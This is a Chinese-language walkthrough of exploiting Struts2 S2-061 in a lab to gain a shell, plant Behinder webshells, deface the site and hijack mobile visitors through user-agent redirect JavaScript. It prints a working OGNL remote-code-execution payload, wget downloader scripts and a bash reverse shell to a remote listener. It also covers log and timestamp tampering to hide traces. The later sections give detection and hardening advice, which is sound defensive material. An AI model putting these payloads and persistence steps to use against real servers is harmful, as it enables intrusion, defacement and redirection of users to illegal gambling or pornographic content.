从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析
字数 1728 2025-08-11 08:36:22

从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析

1. 概述

本文详细分析如何利用Struts2远程代码执行漏洞(S2-061)获取网站Shell权限,进而实施网站篡改和移动端流量劫持的全过程。这种攻击方式在黑灰产中常用于博彩、色情等非法内容的推广。

2. 漏洞分析

2.1 S2-061漏洞简介

  • 漏洞名称: Struts2 S2-061 (CVE-2020-17530/CNVD-2020-69833)
  • 漏洞原理:
    • Struts2对某些标签属性(如id)进行二次表达式解析
    • 当属性值用户可控时,可构造OGNL表达式实现RCE
    • S2-061是对S2-059修复方案的bypass

2.2 漏洞POC

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"])).
(#bean.setBean(#stack)).
(#context=#bean.get("context")).
(#bean.setBean(#context)).
(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).
(#arglist=#instancemanager.newInstance("java.util.ArrayList")).
(#arglist.add("id")).
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

3. 环境搭建

3.1 靶场环境

  1. 使用Kali Linux部署Vulhub靶场
  2. 启动S2-061靶场环境
  3. 访问目标靶机8080端口

3.2 资源分发

  1. 使用Windows 10搭建DVWA靶场
  2. 调整安全级别
  3. 通过文件上传功能将DVWA作为脚本和木马的分发服务器

4. 攻击流程

4.1 Get Shell

  1. 捕获流量:

    • 设置Burp Suite代理
    • 访问目标站点的index.action页面
    • 获取标准数据包
  2. 执行命令:

    • 修改提交方式为POST
    • 添加POC并重放数据包
    • 执行wget命令下载脚本:
      wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/change.sh
      
  3. 反弹Shell:

    • 准备反弹Shell命令:
      bash -i >& /dev/tcp/192.168.68.134/7777 0>&1
      
    • Base64编码后通过POC执行
    • 使用NC监听端口获取交互式Shell

4.2 Shell驻留

使用冰蝎3进行Shell管理:

  1. 插入文件:

    • 修改index.jsp文件,插入变形马
    • 冰蝎可连接index.jsp和index.action
  2. 新增文件:

    • 在相同目录下新增shell.jsp
    • 修改struts.xml配置文件添加action属性
    • 冰蝎可连接shell.jsp和shell.action
  3. 痕迹清理:

    • 删除中间脚本文件
    • 修改新增文件名
    • 清理日志文件
    • 完善文件时间戳

5. 网站篡改

5.1 显式篡改

  • 在首页明显位置插入标记
  • 直接修改可见内容

5.2 隐式篡改

  1. 资源分发:

    • 将受害服务器作为恶意内容分发服务器
    • 在特定目录下新建页面显示非法链接
  2. 示例:

    • 将色情链接植入受害网站目录
    • 减少搭建服务器成本
    • 降低暴露风险

6. 流量劫持

6.1 实现方式

  1. 加载外部JS:

    • JS存储在分发服务器或公网可访问地址
    • 执行UA判断,劫持移动端流量
  2. 流量统计:

    • 使用51la进行流量统计
    • 将51la.js脚本加载到UA重定向外部JS

6.2 验证方法

  1. 使用Burp Suite代理浏览器:

    • 默认UA访问目标站点
    • 修改为移动端UA再次访问
    • 观察是否跳转
  2. 修改重定向地址测试

7. 脚本分析

7.1 Downloader脚本(change.sh)

#!/bin/bash
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/jspforever.sh
source jspforever.sh

7.2 篡改脚本(jspforever.sh)

主要功能:

  1. 覆盖原文件制作变形马
  2. 加载外部JS
  3. 获取命令执行结果($?)
  4. 修改配置文件为新增木马提供执行环境
  5. 处理脚本执行报错信息(1>&2)
  6. 下载木马到指定目录

7.3 UA判断逻辑

// 全部转为小写
var userAgent = navigator.userAgent.toLowerCase();

// 常见移动端UA判断
if(userAgent.match(/iphone|ipod|android|windows phone|mobile/i)) {
    // 重定向到目标地址
    window.location = "http://目标地址";
}

// 流量统计
document.write('<script src="https://www.51.la/go.php?id=xxx"></script>');

8. 检测与防御

8.1 攻击检测

  1. 命令执行检测:

    • 文件下载(curl/wget)
    • 文件执行(bash/powershell/cmd/exec)
    • 反弹Shell行为
  2. 下载分发检测:

    • 情报碰撞分发服务器URL
    • 关联篡改结果
  3. 恶意流量检测:

    • Shell通信特征(base64/AES加密)
    • 高误报率,需结合其他指标

8.2 受害拓线

  1. 测绘JS:

    • 使用360quake测绘外部JS
    • 搜索特征如"body: /static/data/configjs.js"
  2. 搜索引擎检索:

    • 使用inurl/site/intext等关键词
    • 如"inurl:index.jsp"+"博彩"
  3. 同源发现:

    • 根据CMS信息进行同源发现
    • 分析受害者共同特征

9. 防御建议

  1. 漏洞防护:

    • 及时更新Struts2等框架
    • 应用WAF防护规则
  2. 权限控制:

    • 最小权限原则
    • 限制服务器出站连接
  3. 文件监控:

    • 监控关键目录文件变更
    • 校验文件完整性
  4. 流量监控:

    • 检测异常JS加载
    • 监控非预期重定向
  5. 日志审计:

    • 详细记录系统操作
    • 定期分析异常行为
从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析 1. 概述 本文详细分析如何利用Struts2远程代码执行漏洞(S2-061)获取网站Shell权限,进而实施网站篡改和移动端流量劫持的全过程。这种攻击方式在黑灰产中常用于博彩、色情等非法内容的推广。 2. 漏洞分析 2.1 S2-061漏洞简介 漏洞名称 : Struts2 S2-061 (CVE-2020-17530/CNVD-2020-69833) 漏洞原理 : Struts2对某些标签属性(如id)进行二次表达式解析 当属性值用户可控时,可构造OGNL表达式实现RCE S2-061是对S2-059修复方案的bypass 2.2 漏洞POC 3. 环境搭建 3.1 靶场环境 使用Kali Linux部署Vulhub靶场 启动S2-061靶场环境 访问目标靶机8080端口 3.2 资源分发 使用Windows 10搭建DVWA靶场 调整安全级别 通过文件上传功能将DVWA作为脚本和木马的分发服务器 4. 攻击流程 4.1 Get Shell 捕获流量 : 设置Burp Suite代理 访问目标站点的index.action页面 获取标准数据包 执行命令 : 修改提交方式为POST 添加POC并重放数据包 执行wget命令下载脚本: 反弹Shell : 准备反弹Shell命令: Base64编码后通过POC执行 使用NC监听端口获取交互式Shell 4.2 Shell驻留 使用冰蝎3进行Shell管理: 插入文件 : 修改index.jsp文件,插入变形马 冰蝎可连接index.jsp和index.action 新增文件 : 在相同目录下新增shell.jsp 修改struts.xml配置文件添加action属性 冰蝎可连接shell.jsp和shell.action 痕迹清理 : 删除中间脚本文件 修改新增文件名 清理日志文件 完善文件时间戳 5. 网站篡改 5.1 显式篡改 在首页明显位置插入标记 直接修改可见内容 5.2 隐式篡改 资源分发 : 将受害服务器作为恶意内容分发服务器 在特定目录下新建页面显示非法链接 示例 : 将色情链接植入受害网站目录 减少搭建服务器成本 降低暴露风险 6. 流量劫持 6.1 实现方式 加载外部JS: JS存储在分发服务器或公网可访问地址 执行UA判断,劫持移动端流量 流量统计: 使用51la进行流量统计 将51la.js脚本加载到UA重定向外部JS 6.2 验证方法 使用Burp Suite代理浏览器: 默认UA访问目标站点 修改为移动端UA再次访问 观察是否跳转 修改重定向地址测试 7. 脚本分析 7.1 Downloader脚本(change.sh) 7.2 篡改脚本(jspforever.sh) 主要功能: 覆盖原文件制作变形马 加载外部JS 获取命令执行结果($?) 修改配置文件为新增木马提供执行环境 处理脚本执行报错信息(1>&2) 下载木马到指定目录 7.3 UA判断逻辑 8. 检测与防御 8.1 攻击检测 命令执行检测 : 文件下载(curl/wget) 文件执行(bash/powershell/cmd/exec) 反弹Shell行为 下载分发检测 : 情报碰撞分发服务器URL 关联篡改结果 恶意流量检测 : Shell通信特征(base64/AES加密) 高误报率,需结合其他指标 8.2 受害拓线 测绘JS : 使用360quake测绘外部JS 搜索特征如"body: /static/data/configjs.js" 搜索引擎检索 : 使用inurl/site/intext等关键词 如"inurl:index.jsp"+"博彩" 同源发现 : 根据CMS信息进行同源发现 分析受害者共同特征 9. 防御建议 漏洞防护 : 及时更新Struts2等框架 应用WAF防护规则 权限控制 : 最小权限原则 限制服务器出站连接 文件监控 : 监控关键目录文件变更 校验文件完整性 流量监控 : 检测异常JS加载 监控非预期重定向 日志审计 : 详细记录系统操作 定期分析异常行为